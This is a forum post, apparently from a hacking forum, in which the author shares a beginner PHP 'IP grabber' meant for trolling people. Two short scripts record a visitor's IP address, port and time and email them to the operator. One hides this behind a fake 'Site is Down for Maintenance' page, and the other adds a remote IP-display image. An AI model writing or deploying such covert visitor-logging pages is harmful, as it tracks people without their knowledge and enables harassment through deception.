My IP Grabber Thingy ;3 10-19-2013, 12:34 AM
#1
Here is a little IP grabber I wrote up. Keep in mind this is my first code in PHP:
For those who want to be a big troll and tell everybody you have there IP:
Thanks!:epic:
PHP Code:
<?php
$IP = $_SERVER['REMOTE_ADDR'];
$Port = $_SERVER['REMOTE_PORT'];
$Time = 'at ' . Date("g:ia") . ',' . ' on ' . Date("m/d/Y");
If(@mail('YOUR EMAIL HERE', 'IP Received ' . $Time,'IP: ' . $IP . "\n" . 'Received through port: ' . $Port . "\n\n" . 'Info sent ' . $Time)){
Echo "Site is Down for Maintenance. Please Check Back Soon!";
}
Else{
Die('An unexpected error has occurred with the script.');
}
?>PHP Code:
<?php
$IP = $_SERVER['REMOTE_ADDR'];
$Port = $_SERVER['REMOTE_PORT'];
$Time = 'at ' . Date("g:ia") . ',' . ' on ' . Date("m/d/Y");
If(@mail('YOUR EMAIL HERE', 'IP Received ' . $Time,'IP: ' . $IP . "\n" . 'Received through port: ' . $Port . "\n\n" . 'Info sent ' . $Time)){
Echo "Thank you for your IP!";
}
Else{
Die('An unexpected error has occurred with the script.');
}
?>
<html>
<a title='IP'><img alt='IP' src='http://www.clientip.net/sign/sign.png.php?i=1&c=red' /></a>
</html>
Thanks!:epic:
![[+]](https://sinister.ly/images/modern/collapse_collapsed.png)
